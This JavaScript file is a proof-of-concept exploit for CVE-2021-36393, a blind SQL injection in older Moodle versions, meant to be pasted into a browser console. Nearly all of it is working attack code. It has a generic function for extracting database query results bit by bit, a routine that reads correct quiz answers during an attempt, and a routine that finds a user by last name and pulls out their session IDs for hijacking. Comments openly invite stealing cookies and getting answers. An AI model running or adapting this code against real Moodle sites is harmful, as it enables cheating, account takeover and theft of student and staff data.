// CVE-2021-36393 PoC in JavaScript (just copy that into browser console) // Moodle versions affected: 3.11, 3.10 to 3.10.4, 3.9 to 3.9.7 and earlier unsupported versions // useful links: // - https://security.snyk.io/vuln/SNYK-PHP-MOODLEMOODLE-3356636 // - https://moodle.org/mod/forum/discuss.php?d=424798 // - https://github.com/moodle/moodle/commit/68c90578e7a13cfa188bc07a9ce6fe02f9444d01 // - https://web.archive.org/web/20220201200500/https://0xkasper.com/articles/moodle-sql-injection-broken-access-control.html function buildUrl() { const params = new URLSearchParams({ sesskey: M.cfg.sesskey, info: "core_course_get_recent_courses", }); return `${window.location.origin}/lib/ajax/service.php?${params}`; } function buildData(condition) { return JSON.stringify([ { index: 0, methodname: "core_course_get_recent_courses", args: { sort: `IF((${condition}), timeaccess AND CAST(POW(2, 63) as UNSIGNED), timeaccess)`, limit: 0, offset: 1, }, }, ]); } async function estimateResultLength(query, maxLength) { let lo = 0; let hi = maxLength; while (lo <= hi) { let mid = Math.floor((lo + hi) / 2); const response = await fetch(buildUrl(), { method: "POST", body: buildData(`(SELECT ${mid} = LENGTH((${query})))`), credentials: "same-origin", }); const json = await response.json(); if (json[0].error === true) { //mid == item return mid; } else { const response = await fetch(buildUrl(), { method: "POST", body: buildData(`(SELECT ${mid} < LENGTH((${query})))`), credentials: "same-origin", }); const json = await response.json(); if (json[0].error === true) { //mid < item lo = mid + 1; } else if (json[0].error === false) { //mid > item hi = mid - 1; } } } return null; } async function executeQuery(query, maxLength = 512) { let bytes = []; const length = await estimateResultLength(query, maxLength); console.log(`length of '${query}' = ${length}`); for (let i = 0; i < length; i++) { let byte = 0; for (let bit_pos = 0; bit_pos < 8; bit_pos++) { const byte_pos = 1 + 2 * i; const response = await fetch(buildUrl(), { method: "POST", body: buildData(`(SELECT ((ORD(UNHEX(SUBSTRING(HEX((${query})), ${byte_pos}, 2))) >> ${bit_pos}) & 1) = 1)`), credentials: "same-origin", }); const json = await response.json(); if (json[0].error === true) { byte |= 1 << bit_pos; } } bytes.push(byte); } return new TextDecoder("utf-8").decode(new Uint8Array(bytes)); } async function getAnswers() { if (window.location.pathname.includes("attempt.php")) { const urlParams = new URLSearchParams(window.location.search); const attempt = parseInt(urlParams.get("attempt")); const cmid = parseInt(urlParams.get("cmid")); const page = parseInt(urlParams.get("page") ?? "0"); const buttons = document.getElementsByClassName("qn_buttons")[0]; const slots = [...buttons.childNodes].map(element => parseInt(element.id.replace("quiznavbutton", ""))); const slot = slots[page]; console.time("query1"); const result = await executeQuery(`SELECT rightanswer FROM mdl_question_attempts WHERE slot = ${slot} AND questionusageid = (SELECT uniqueid FROM mdl_quiz_attempts WHERE id = ${attempt} AND quiz = (SELECT id FROM mdl_quiz WHERE id = (SELECT instance FROM mdl_course_modules WHERE id = ${cmid} AND module = (SELECT id FROM mdl_modules WHERE name = 'quiz'))))`); console.timeEnd("query1"); console.log(result); } } async function stealMoodleSession(lastname) { const userId = parseInt(await executeQuery(`SELECT CONCAT(id) FROM mdl_user WHERE lastname = '${lastname}'`)); const countOfSessions = parseInt(await executeQuery(`SELECT CONCAT(COUNT(*)) FROM mdl_sessions WHERE userid = ${userId}`)); console.log(`user profile: ${window.location.origin}/user/profile.php?id=${userId}`); console.log(`count of sessions: ${countOfSessions}`); for (let i = 0; i < countOfSessions; i++) { const session = await executeQuery(`SELECT sid FROM mdl_sessions WHERE userid = ${userId} ORDER BY id DESC LIMIT 1 OFFSET ${i}`); console.log(`session #${i}: ${session}`); } } // if you want to steal cookie by lastname await stealMoodleSession("Jones"); // if you want to get answers: await getAnswers(); // if you want to execute query: console.time("query1"); console.log(await executeQuery("select version()")); console.timeEnd("query1");